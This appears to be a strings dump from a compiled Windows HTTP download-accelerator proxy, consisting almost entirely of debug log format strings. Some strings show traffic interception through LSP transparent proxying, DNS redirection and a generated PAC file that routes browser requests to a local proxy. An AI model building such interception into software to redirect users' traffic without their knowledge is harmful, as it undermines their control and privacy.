[ProxyServer::CreateHttpProxyServer] ___Error allocate HttpCookieJar.

[ProxyServer::CreateHttpProxyServer] HTTP Proxy Server - already created

ProxyServer::CreateHttpProxyServer

[ProxyServer::Start] Proxy type: %d - Done.

[ProxyServer::Start] *** HTTP proxy was started ***

[ProxyServer::Start] ___Error stating the HTTP proxy.

[ProxyServer::Start] ___Error Proxy type not supported. (Requested: %d).

[ProxyServer::Start] Proxy type: %d

[ProxyServer::AcceptConnection] *** Handover to HTTP ***

[AccelerationConfiguration::OnError] XML parse failed: %s

[CAccelerationStats::Write] Written: %d, Total: %lld, Bps: %d

[CAccelerationStats::Write] Written: %d

[CAccelerationStats::AddRequest] Req:%d - Request was added

[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: SetBuffer

[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: BuildHeader

[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: SetRanges

[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: ParseHeader

[CAccelerationStats::HandleNewRequest] FDM=%d, Req:%d (IP: %s, Port: %d) - Request was added.

[CAccelerationStats::HandleNewRequest] ___Error: The request was not added. FDM=%d, Req:%d (IP:%s, port:%d).

[CAccelerationStats::HandleNewRequest] ___Error initializing FDM=%d.

[HttpProxyServer::Init] ___Error creating listen AsyncSocket

[HttpProxyServer::Init]

[HttpProxyServer::OnData] Writing to FDM %d data bytes from Local Worker:%d.

HttpProxyServer::OnData

pIHttpProxyWorker

m_pIHttpEngineConfiguration

[HttpProxyServer::WriteDataToFile] ___Error: Not a reasnable data to write: %d

[HttpProxyServer::WriteDataToFile] ___Error: GetFileAttributes: %s, failed: %d

[HttpProxyServer::WriteDataToFile] ___Error: fwrite: %s, failed: %d

[HttpProxyServer::WriteDataToFile] ___Error: fopen: %s, failed: %d

[HttpProxyServer::WriteDataToFile] Filename: %s

[HttpProxyServer::Start] ___Error - HTTP Configuration not valid

HttpProxyServer::Initialize

[HttpProxyServer::Initialize]

[HttpProxyServer::OnAcceptEvent] *** Pass Through ***

[HttpProxyServer::OnAcceptEvent] ___Error accepting a new socket

[HttpProxyServer::OnAcceptEvent] ___Error accepting a new connection.

[HttpProxyServer::OnAcceptEvent] ___Error %s(%d) occured on the listen socket

[HttpProxyServer::IsRedirectedByDnsController] Client was Redirected by Dns Controller!

[HttpProxyServer::IsRedirectedByDnsController] NOT redirected by Dns Controller!

[HttpProxyServer::IsRedirectedByDnsController] ___Error IDnsController == NULL

[IHttpProxyServer::DestroyInstance] Destroy - HttpProxyServer - Regular MODE

[IHttpProxyServer::DestroyInstance] Destroy - TransparentProxyServer (PassThrough) - LSP MODE

[IHttpProxyServer::DestroyInstance] ___Error Redirect was not created - Type = IdleMode

[IHttpProxyServer::DestroyInstance] Destroy - LspHttpProxyServer - LSP MODE

[IHttpProxyServer::DestroyInstance] Destroy - LspHttpProxyServer (PassThrough) - LSP MODE

[HttpProxyServer::StartListening] Listening on port: %d

[HttpProxyServer::StartListening] ___Error Listen Socket Initialize failed

[HttpProxyServer::StartListening] ___Error listening on port: %d

[HttpProxyServer::StartListening] ___Error failed to bind the Listen Socket

[HttpProxyServer::StartListening] ___Error Testing Mode - failed to bind Listen Socket default port

[HttpProxyServer::StartListening] Try listening on IP: %s, Port: %d

[HttpProxyServer::StartListening] Listen port restored to default: %d

[HttpProxyServer::StartListening] ___Error Configuration not valid

[HttpProxyServer::StartListening]

HttpProxyServer::StartListening

[HttpProxyServer::StopAllAccelerations]

[HttpProxyServer::GetDestinationIpAndPort] ___Error getting the destination details. Local: %s:%d

[HttpProxyServer::GetDestinationIpAndPort] Local: %s:%d, Remote: %s:%d, PID: %d

[HttpProxyServer::GetDestinationIpAndPort] ___Error spIRedirectController == NULL

[HttpProxyServer::InitializationThread] ___Error listening to network traffic

[HttpProxyServer::InitializationThread] Listening to network traffic.

[HttpProxyServer::InitializationThread] Going to listen to network traffic

[HttpProxyServer::InitializationThread] ___Error HttpProxyServer not valid

[HttpProxyServer::InitializationThread]

[HttpProxyServer::ReleaseAllClosedFDMs] - All closed FDMs where released.

[HttpProxyServer::ReleaseAllClosedFDMs] - FDM=%d has %d RefCount.

[HttpProxyServer::ReleaseAllClosedFDMs] - Releasing FDM=%d.

[HttpProxyServer::ReleaseAllClosedFDMs] - There are %d FDMs to release.

[HttpProxyServer::ReleaseAllClosedFDMs] - Releasing all closed FDMs.

[HttpProxyServer::Start] ___Error hInitializationThread failed: %d

[HttpProxyServer::Start] hInitializationThread - S_OK

[HttpProxyServer::Start] Waiting for Initialzation Thread...

HttpProxyServer::Start

[HttpProxyServer::AcceptConnection] ___Error to initialize Worker: %d.

[HttpProxyServer::AcceptConnection] Going to initialize Worker: %d.

[HttpProxyServer::AcceptConnection] ___Error: There is not enough memory to allocate HttpProxyLocal.

[HttpProxyServer::AcceptConnection] ___Error getting the connected IP and port of the socket %d.

[HttpProxyServer::AcceptConnection] ___Error accepting a new socket

[HttpProxyServer::Work] --- Exit event was set ---

[HttpProxyServer::Work] - Start...

[HttpProxyServer::FindDownloadMgr] FDM=%d - Was stopped.

[HttpProxyServer::FindDownloadMgr] FDM=%d - Stopping...

[HttpProxyServer::FindDownloadMgr] FDM=%d - State is completed, deleting the FDM

[HttpProxyServer::FindDownloadMgr] The FDM=%d state is Not completed - Add Request to FDM

[HttpProxyServer::FindDownloadMgr] The FDM=%d is connected to %s : %d ---> and not to %s : %d

[HttpProxyServer::FindDownloadMgr] Worker was found ! (ID Metch)

[HttpProxyServer::FindDownloadMgr] ___Warning - In caching, use a new one.

[HttpProxyServer::FindDownloadMgr] ___Warning - Worker was found but ID not match

[HttpProxyServer::FindDownloadMgr] Worker was not found !

[HttpProxyServer::RemoveDownloaderFromMap] FDM=%d - Worker:%d

HttpProxyServer::RemoveDownloaderFromMap

[HttpProxyServer::FDMWasStopped] FDM=%d <-> Local (%d)

HttpProxyServer::FDMWasStopped

[HttpProxyServer::Stop] The Stop process was finished !

[HttpProxyServer::Stop] - Workers - Deleted !

[HttpProxyServer::Stop] - Workers - Deleting...

[HttpProxyServer::Stop] - Listen - Stopped !

[HttpProxyServer::Stop] - Listen - Stopping...

[HttpProxyServer::Stop] - NetworkEventsSink - Stopped !

[HttpProxyServer::Stop] - NetworkEventsSink - Stopping...

[HttpProxyServer::Stop] Starting the Stop process...

HttpProxyServer::OnError

[HttpProxyServer::BuildElsePacString] Direct -> ieDomain = %s iePort = %d

return "PROXY %s:%d";

[HttpProxyServer::BuildElsePacString] With ie Proxy Details ieDomain = %s iePort = %d

[HttpProxyServer::BuildElsePacString] Domain ieDomain = %s iePort = %d

127.0.0.1

[HttpProxyServer::IsRequestMatchRedirectionRules] can't get configuration

[HttpProxyServer::IsRequestMatchRedirectionRules] handle on mode, return true

[HttpProxyServer::IsRequestMatchRedirectionRules] Rule not found for Domain: %s, IP: %s

[HttpProxyServer::IsRequestMatchRedirectionRules] Domain & Port found in Rule: %s

[HttpProxyServer::IsRequestMatchRedirectionRules] Domain found in Rule: %s

[HttpProxyServer::IsRequestMatchRedirectionRules] ___Error getting IAccelerationConfiguration

[HttpProxyServer::GetDestinationDomainAndPort] Domain: %s, Port: %d, URI: %s

[HttpProxyServer::GetDestinationDomainAndPort] ___Error getting the domain from URI

[HttpProxyServer::GetDestinationDomainAndPort] ___Error getting the domain and the port from the URI field.

[HttpProxyServer::OnHeader] FDM=%d,Req:%d ___Error: The request was not added. (IP:%s, port:%d).

[HttpProxyServer::OnHeader] FDM=%d - Adding Req:%d (IP:%s, port:%d).

[HttpProxyServer::OnHeader] Worker %u IsRequestMatchRedirectionRules matched - try to accelerate, PassThrough OFF

[HttpProxyServer::OnHeader] *** IsRequestMatchRedirectionRules not matched - PassThrough ON ***

[HttpProxyServer::OnHeader] ___Error local loop detected

[HttpProxyServer::OnHeader] ___Error getting the IP of the domain %s.

[HttpProxyServer::OnHeader] ___Error (TransparentMode) getting the destination IP and port from the header, for Worker:%d

[HttpProxyServer::OnHeader] ___Warning getting the destination IP and port for Worker:%d (nLocalPort:%d)

[HttpProxyServer::OnHeader] ___Error building the request from Worker:%d

[HttpProxyServer::OnHeader] ___Error (ProxyMode) getting the destination IP and port from the header, for Worker:%d

[HttpProxyServer::OnHeader] ___Error Unsupported Mode from Worker:%d !!!

[HttpProxyServer::OnHeader] ___Error getting the connected IP and Port for Worker:%d

[HttpProxyServer::OnHeader] New header from Worker:%d.

[HttpProxyServer::GetOriginalRequest] Original request was found: %s

[HttpProxyServer::InsertDownloaderToMap] FDM=%d - Worker:%d

HttpProxyServer::InsertDownloaderToMap

[HttpProxyServer::GetFileDownloadManager] FDM=%d for Worker:%d, IP:%s, Port:%d, was found.

[HttpProxyServer::GetFileDownloadManager] ___Error inserting FDM=%d to the map.

[HttpProxyServer::GetFileDownloadManager] ___Error initializing FDM=%d.

[HttpProxyServer::GetFileDownloadManager] The FDM=%d for Worker:%d, IP:%s, Port:%d, was created.

[HttpProxyServer::GetFileDownloadManager] FDM not found, Creating new one. (Worker:%d, IP:%s, Port:%d)

[HttpProxyServer::GetFileDownloadManager] Getting the FDM for Worker:%d, IP:%s, Port:%d.

return "PROXY 127.0.0.1:%d";

shExpMatch(host, "%s")

function FindProxyForURL(url, host)

[HttpProxyServer::GetRedirectRulesInPacFormat] ___Error getting IConfiguration.

[HttpProxyServer::GetRedirectRulesInPacFormat] ___Error getting IAccelerationConfiguration.

HttpProxyServer::GetRedirectRulesInPacFormat

%%.%ds

[HttpProxyServer::WriteRedirectRulesToPacFile] ___Error: WriteDataToFile() failed: %s

[HttpProxyServer::WriteRedirectRulesToPacFile] ___Error: GetRedirectRulesInPacFormat() failed: %s

[HttpProxyServer::WriteRedirectRulesToPacFile]

[HttpProxyServer::~HttpProxyServer] - Leave

[HttpProxyServer::~HttpProxyServer] - Enter

[HttpProxyServer::SetOriginalRequest] Location: %s

[HttpProxyServer::SetOriginalRequest] Replacing: %s

[HttpProxyServer::HttpProxyServer]

hXXp://

HTTP_Version_String

HTTP/1.0

HttpParser::UpdateBuffer

[HttpParser::Reset]

[HttpParser::ValidateEndOfLine] ___Error: Unsupported end of line option.

[HttpParser::ValidateEndOfLine] ___Error: The previous end of line was %s, which is different from %c.

[HttpParser::ValidateEndOfLine] ___Error: The previous end of line was %s, which is different from %c%c.

[HttpParser::ValidateEndOfLine] ___Error: Invalid end of line: %c%c.

[HttpParser::LastChunkReceivedCompletely] Temporary nChunkSize:%d

[HttpParser::LastChunkReceivedCompletely] Received all %d bytes.

[HttpParser::LastChunkReceivedCompletely] Missing %d/%d bytes.

HttpParser::Initialize

HttpParser::GetLine

[HttpParser::GetChunkSize] Missing %d/%d bytes.

[HttpParser::GetChunkSize] After Adding nBytesInBuffer. nChunkSize:%d

[HttpParser::GetChunkSize] Before Adding nBytesInBuffer. nChunkSize:%d

[HttpParser::GetChunkSize] Received all %d bytes of the current chunk.

[HttpParser::GetChunkSize] After Adding Trailer nChunkSize:%d

[HttpParser::GetChunkSize] Before Adding Trailer nChunkSize:%d

[HttpParser::GetChunkSize] After Adding nChunkSize:%d

[HttpParser::GetChunkSize] Before Adding nChunkSize:%d

[HttpParser::GetChunkSize] Next chunk details: (header:%d bytes, size:%d bytes).

[HttpParser::GetChunkSize] The buffer size is %d bytes.

[HttpParser::GetChunkDetails] The size of the chunks is %d bytes.

[HttpParser::GetChunkDetails] ___Error Unknown end of line.

[HttpParser::GetChunkDetails] Going to analyze: BufferSize(%d), HeaderSize(%d), ChunkBufferSize(%d).

[HttpParser::ParseLine] ___Error: The field separator was not found in the line %.600s

HttpParser::ParseLine

[HttpParser::operator =] Adding Cookie %s : %s

HttpParser::GetFieldDataString

HttpParser::GetFieldDataNumber

[HttpParser::SetFieldData] Adding Cookie %s : %s

[HttpParser::SetFieldData] %s : %s

HttpParser::SetFieldData

HttpParser::AddLineDetailsToMap

[HttpParser::IsDataAvailable] Undefined - %d data bytes

[HttpParser::IsDataAvailable] Response code has no body - no data

[HttpParser::IsDataAvailable] Request - %lld/%lld, Available: %d, Missing: %lld

[HttpParser::IsDataAvailable] Content Length - %lld/%lld, Available: %d, Missing: %lld

[HttpParser::IsDataAvailable] Chunks size - %d bytes

[HttpParser::IsDataAvailable] ___Error The Header is not complete yet...

[HttpParser::IsConnectionClose] The Connection field exists:%s

[HttpParser::IsConnectionClose] HTTP/1.1 - The Connection field does NOT exists - using Keep-Alive as default

[HttpParser::IsConnectionClose] HTTP/1.0 - The Connection field does NOT exists - using Close as default

[HttpParser::GetContentLength] Content-Length: %lld

[HttpParser::GetDataLengthFromRanges] Range fields does not exists

[HttpParser::GetDataLengthFromRanges] Total Data Length = %lld, StartOfRange = %lld, EndOfRange = %lld

[HttpParser::GetDataLengthFromRanges] End Position == 0

[HttpParser::GetDataLengthFromRanges] Filesize: %lld

[HttpParser::GetDataLengthFromRangesField] Range fields does not exists

[HttpParser::GetDataLengthFromRangesField] Total Data Length = %lld

[HttpParser::GetRangesFromHeaderField] Range fields does not exists

[HttpParser::GetRangesFromHeaderField] StartOfRange = %lld, EndOfRange = %lld

[HttpParser::GetRangesFromHeaderField] Filesize: %lld

[HttpParser::IsValid] ___Error --- NOT an HTTP request ---

HttpParser::SetFieldDataNumber

[HttpParser::AnalyzeFirstLine] ___Error The number of tokens in the line %.600s is not valid.There is not enough memory to allocate new buffers.

[HttpParser::AnalyzeFirstLine] ___Error Invalid HTTP Header: %.600s

HTTP/

HttpParser::AnalyzeFirstLine

[HttpParser::SetConnectionType] Adding - Connection: %s (%s)

[HttpParser::SetConnectionType] %s: %s (%s)

[HttpParser::UpdateDataEncodingType] Request - No Encoding.

[HttpParser::UpdateDataEncodingType] Request Post/Put - No Encoding.

[HttpParser::UpdateDataEncodingType] Request Connect - No Encoding.

[HttpParser::UpdateDataEncodingType] - No Encoding.

[HttpParser::UpdateDataEncodingType] - The data encoding type is chunked.

[HttpParser::ParseHeader] Complete - Header size: %d

HttpParser::ParseHeader

HttpParser::GetAllFieldDataStrings

[HttpHeader::BuildFirstLineInHeader] ___Error building the first line if the header. The header type is undefined.

[HttpProxyRemote::SetRangesInHeaderField] ___Error: The function SetFieldData failed.

[HttpHeader::GetRangesFromPathURI] StartOfRange: %lld, EndOfRange: %lld

[HttpHeader::GetRangesFromPathURI] The token %s was not found in the URI

[HttpHeader::GetRangesFromPathURI] ___Error: The field %s does not exist.

[HttpHeader::GetRangesFromURI] StartOfRange: %lld, EndOfRange: %lld

[HttpHeader::GetRangesFromURI] The token %s was not found in the URI

[HttpHeader::GetRangesFromURI] ___Error: The field %s does not exist.

[HttpHeader::GetDomainAndPortFromURI] Domain: %s, Port: %d

[HttpHeader::GetDomainAndPortFromURI] ___Error No URI empty

[HttpProxyRemote::SetRangesInPathURI] ___Error: The function SetFieldData field.

%s%lld

[HttpHeader::SetRangesInPathURI] ___Error: The field %s does not exist.

[HttpProxyRemote::SetRangesInURI] ___Error: The function SetFieldData field.

%s%lld-

%s%lld-%lld

[HttpHeader::SetRangesInURI] ___Error: The field %s does not exist.

[HttpProxyLocal::SocketWasConnected] FDM=%d (%d)

[HttpProxyLocal::SocketAcceptedConnection] FDM=%d (%d)

[HttpProxyLocal::SocketWasClosed] FDM=%d (%d)

[HttpProxyLocal::ErrorOnSocket] FDM=%d (%d)

[HttpProxyLocal::Stop] FDM=%d (%d)

[~HttpProxyLocal - %p] FDM=%d (%d).

C:\Temp\Socket%d.bin

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is switching back to HEADER state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - *** Finished sending the Request data *** (wrote %lld data bytes).

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error writing the Data.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - %d bytes from the data written.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - The data size is %d/%d bytes.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning Worker has no data to send.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is in DATA state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker has %d data bytes in the buffer to send

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is switching to DATA state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - *** Finished sending the Request header ***.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Wroker is switching to DATA state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error writing the Header.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - %d bytes from the Header written.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning Worker was stopped (in HEADER state)

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - The header size is %d/%d bytes.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error The header is not valid - switch to PassThrough mode!

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning The header is not complete

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is in HEADER state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - NO PassThrough mode

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - IN PassThrough mode

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error: JobInfo is NULL.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Going to analyze %d bytes.

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): After writing %d bytes into upper level

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Going to write the %d bytes into the upper level

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Read %d bytes from socket %d

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): ___Error: Reading from socket %d

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Reading from socket %d

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[HttpProxyLocal - %p] FDM=%d (%d).

C:\Temp\Socket_%d_%lld_%d.bin

C:\Temp\Socket_%d.bin

[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Worker was STOPPED.

[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Setting the cache writer as finished.

[HttpProxyWorker::Stop] FDM=%d (%d) - The socket object was deleted.

[HttpProxyWorker::Stop] FDM=%d (%d) - Going to delete the socket object.

[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Going to stop the worker.

[HttpProxyWorker::Stop] FDM=%d (%d)

[HttpProxyWorker::ErrorOnJob] FDM=%d (%d)

[HttpProxyWorker::Write] FDM=%d (%d),Req:%d - After writing %d/%d bytes to socket %d.

[HttpProxyWorker::Write] FDM=%d (%d),Req:%d - Before writing %d bytes to socket %d.

HttpProxyWorker::Write

[RtmpProxyWorker::Write] FDM=%d (%d),Req:%d ___Warning No bytes to write

[HttpProxyWorker::Write] FDM=%d (%d),Req:%d ___Error is not ready

[HttpProxyWorker::OnCloseEvent] FDM=%d (%d),Req:%d - Socket %d was closed.

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d ___Error initializing socket

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d *** socket %d was Initialized ***.

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d ___Error Binding to cellular interface - set to default interface

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d - Binded to Cellular Interface.

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d *** new socket ***

HttpProxyWorker::InitializeSocket

[HttpProxyWorker::Initialize] FDM=%d (%d): ___Error initializing the worker, Err: %d.

[HttpProxyWorker::Initialize] FDM=%d (%d) was initialized.

HttpProxyWorker::Initialize

[HttpProxyWorker::DumpBufferToLogFile] FDM=%d (%d),Req:%d

[~HttpProxyWorker - %p] FDM=%d (%d).

[HttpProxyWorker - %p] FDM=%d (%d).

[JobInfo::GetPositionField] ___Error: The field %d is not a position field.

[JobInfo::SetPositionField] ___Error: The field %d is not a position field.

[JobInfo::SetPositionField] Job:%d - RANGE_CONTENT_LENGTH - %lld

[JobInfo::SetPositionField] Job:%d - TIME_CURRENT_POSITION - %lld

[JobInfo::SetPositionField] Job:%d - TIME_END_POSITION - %lld

[JobInfo::SetPositionField] Job:%d - TIME_START_POSITION - %lld

[JobInfo::SetPositionField] Job:%d - RANGE_END_POSITION - %lld

[JobInfo::SetPositionField] Job:%d - RANGE_START_POSITION - %lld

[JobInfo::GetDownloadStartPosition] Job:%d - %lld

[JobInfo::GetCurrentTimePosition] Job:%d - %lld

[JobInfo::SetDataHeaderBytes] Job:%d has Data Header: %lld bytes to discard

[JobInfo::GetBooleanField] ___Error: The field %d is not a boolean field.

[JobInfo::SetBooleanField] ___Error - The field %d is not a boolean field.

[JobInfo::SetBooleanField] Job:%d - IS_CELLULAR_FLAG - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_DISCARDED - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_UPDATED - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - IS_TIME_ACCELERATION_FLAG - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - IS_ACTIVE_FLAG - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - IS_MASTER_FLAG - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - RANGE_DOWNLOAD - (%d --> %d)

[JobInfo::SetBooleanField] Job:%d - RANGE_WAS_SHORTEN - (%d --> %d)

[JobInfo::GetCounter] ___Error: The field %d is not a counter field.

[JobInfo::SetCounter] ___Error: The field %d is not a counter field.

[JobInfo::Reset] Job:%d

[JobInfo::GetBytesLeftToDownloaded] Job:%d - Has no more bytes to download. (state:%d)

[JobInfo::GetBytesLeftToDownloaded] Job:%d - Left %lld bytes

[JobInfo::GetTimeLeftToDownload] Job:%d - has no more time to download. (state:%d)

[JobInfo::GetTimeLeftToDownload] Job:%d - has no more time to download.

[JobInfo::SetDownloadInactivityTimeout] Job:%d (state:%d) - InactivityMaxSeconds = %d

[JobInfo::IsAlive] ___Error Job:%d - did not download for a lot of time!

[JobInfo::CanBeRecovered] Job:%d - %d/%d

[JobInfo::GetTimeToRecovery] Job:%d - Time since last recovery: %d > %d

[JobInfo::GetTimeToRecovery] Job:%d - Time till next recovery: %d < %d

[JobInfo::GetTimeToRecovery] Job:%d - No time between recoveries

[JobInfo::SetTimeBetweenRecoveries] Job:%d - Time between recoveries: %d

[JobInfo::SetValidationBytes] Job:%d - Bytes: %d

[JobInfo::SetValidationBytes] ___Warning Job:%d - not enough bytes: %d < %d

[JobInfo::ValidateConsistency] ___Error Job:%d - Not Downloading the same job's Data after Reconnect!

[JobInfo::ValidateConsistency] Job:%d - *** Match OK ***

[JobInfo::DecrementDataHeaderBytes] Job:%d decremented Data Header: %lld bytes and has more: %lld bytes to discard

[JobInfo::DecrementBytesToDiscard] Job:%d decremented %lld bytes and has more %lld bytes to discard

[JobInfo::SetState] Job:%d, State: %d, Force: %d

[JobInfo::ResetState] Job:%d

[JobInfo::IncrementCounter] ___Error: The field %d is not a counter field.

[JobInfo::UpdateJobState] Job:%d - wrote all the data to the client. (state:%d)

[JobInfo::UpdateJobState] Job:%d - has no more bytes to download. (state:%d)

[JobInfo::SetRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).

[JobInfo::UpdateRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).

[JobInfo::UpdateTimeRange] Req:%d, Job:%d, %lld-%lld (%lld-%lld).

[JobInfo::IncrementDataHeaderBytes] Job:%d incremented Date Header: %lld bytes and has more: %lld bytes to discard

[JobInfo::SetBytesToDiscard] Job:%d has %lld bytes to discard

[JobInfo::IncrementBytesToDiscard] Job:%d incremented %lld bytes and has more %lld bytes to discard

[JobInfo::ValidateContinuousness] ___Error Job:%d with Job:%d (Bytes: %d) - Continues jobs does not match!

[JobInfo::ValidateContinuousness] Job:%d with Job:%d (Bytes: %d) - *** Match OK ***

[JobInfo::ValidateContinuousness] ___Warning Job:%d - Next job has no validation bytes

[JobInfo::ValidateContinuousness] ___Warning Job:%d - No next job to compare

[JobInfo] Job:%d

[JobInfo] Job:%d (%lld-%lld).

[~JobInfo] Job:%d (%lld-%lld).

************ End: d:d:d::d

************ Start: d:d:d::d

[JobInfo::RegisterToChangeManaer] FDM=%d, Job:%d

[JobInfo::RegisterToChangeManaer] ___Error FDM=%d, Job:%d - RegisterOnChanges

pIHttpProxyServer

[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can't be stopped. NumberOfActiveWorkers: %d, NumberOfActiveWorkers3G: %d

[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can be stopped.

[FileDownloadMgr::CanBeStopped] FDM=%d - FDM can't be stopped. cmState is %d.

[FileDownloadMgr::StopDownload] FDM=%d, Stopping...

[FileDownloadMgr::StopDownload] FDM=%d - Allow to complete prefetching...

[FileDownloadMgr::StopDownload] FDM=%d

[FileDownloadMgr::CreateCacheWriter] FDM=%d ___Error creating Cache Writer.

[FileDownloadMgr::StopAcceleration] **** FDM=%d - Going to stop the acceleration ****.

[FileDownloadMgr::StopAcceleration] FDM=%d

[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d --- After calling to OnStopAcceleration() ---.

[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d --- Before calling to OnStopAcceleration() ---.

[FileDownloadMgr::ReportOnDownloadComplete] FDM=%d

[FileDownloadMgr::ReportOnDataEvent] FDM=%d --- After calling to OnData() ---.

[FileDownloadMgr::ReportOnDataEvent] FDM=%d --- Before calling to OnData() ---.

[FileDownloadMgr::ReportOnStopEvent] FDM=%d --- After calling to OnStop() ---.

[FileDownloadMgr::ReportOnStopEvent] FDM=%d --- Before calling to OnStop() ---.

[FileDownloadMgr::ReportOnStartBadAcceleration] FDM=%d --- After calling to OnStartBadAcceleration() ---.

[FileDownloadMgr::ReportOnStartBadAcceleration] FDM=%d --- Before calling to OnStartBadAcceleration() ---.

[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- Already reported (SEEK) ---

[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- After calling to OnStartBadAcceleration() ---.

[FileDownloadMgr::ReportOnHDAcceleration] FDM=%d --- Before calling to OnStartBadAcceleration() ---.

[FileDownloadMgr::ReportOnTrialExpiredAcceleration] FDM=%d --- After calling to ReportOnTrialExpiredAcceleration() ---.

[FileDownloadMgr::ReportOnTrialExpiredAcceleration] FDM=%d --- Before calling to ReportOnTrialExpiredAcceleration() ---.

[FileDownloadMgr::AbortAcceleration] FDM=%d

[FileDownloadMgr::IsDownloadComplete] FDM=%d *** Download Completed *** (%lld >= %lld)

[FileDownloadMgr::SetDownloadSize] FDM=%d - Download size: %lld (%lld), bForce: %d

[FileDownloadMgr::OnInterfaceUp] FDM=%d - *** Abort Acceleration ***

[FileDownloadMgr::OnInterfaceDown] FDM=%d - ip: %d, name: %s, 3G: %d

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d ### Stopping the FDM - Master was closed without HTTP header

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - ### Master Remote Connection was closed

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - Master Remote completed

[FileDownloadMgr::OnRequestComplete] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d (3G: %d)

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d) - %d Requests are pending...

[FileDownloadMgr::OnRequestComplete] FDM=%d (%d),Req:%d - *** FINISHED *** (%d/%d)

[FileDownloadMgr::OnWorkerConnectionReady] FDM=%d (%d),Req:%d (3G: %d)

[FileDownloadMgr::ResumeCaching] FDM=%d - Resuming...

[FileDownloadMgr::ResumeCaching] FDM=%d

[FileDownloadMgr::RestartWorkerToRedirectDomain] FDM=%d (%d),Req:%d ___Error - ReStartCurrentJob to: %s

pHttpProxyRemote

[FileDownloadMgr::AddDomainToRedirectList] FDM=%d ___Error SetRedirectFilter

[FileDownloadMgr::AddDomainToRedirectList] FDM=%d ___Error IRedirectController invalid

[FileDownloadMgr::AddDomainToRedirectList] FDM=%d - Domain: %s, Port: %d

[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d

[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - Range size == Master size

[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - pJobInfo == NULL

[FileDownloadMgr::GetWorkerDataHeaderBytesToDiscard] FDM=%d ___Error - m_n64MasterWorkerContentLength <= 0

[FileDownloadMgr::ReportOnStartAcceleration] FDM=%d --- After calling to OnStartAcceleration() ---.

[FileDownloadMgr::ReportOnStartAcceleration] FDM=%d --- Before calling to OnStartAcceleration() ---.

[FileDownloadMgr::NotifyOnStop] FDM=%d - Going to stop the Local peer (%d)

[FileDownloadMgr::NotifyOnStop] FDM=%d

[FileDownloadMgr::IsToCloseLocal] FDM=%d - ### Close the FDM ### (Transparent Mode)

[FileDownloadMgr::IsToCloseLocal] FDM=%d - Transparent Mode - Master was not closed - wait for new requests...

[FileDownloadMgr::IsToCloseLocal] FDM=%d - ### Close the FDM ### (Proxy Mode)

[FileDownloadMgr::IsToCloseLocal] FDM=%d - Proxy Mode - Do not close the Local Worker yet - wait for new requests...

[FileDownloadMgr::FindWorkerByJob] FDM=%d ___Error worker not found for job %d.

[FileDownloadMgr::GetCacheData] FDM=%d *** Create New Cache Data *** Url: %s

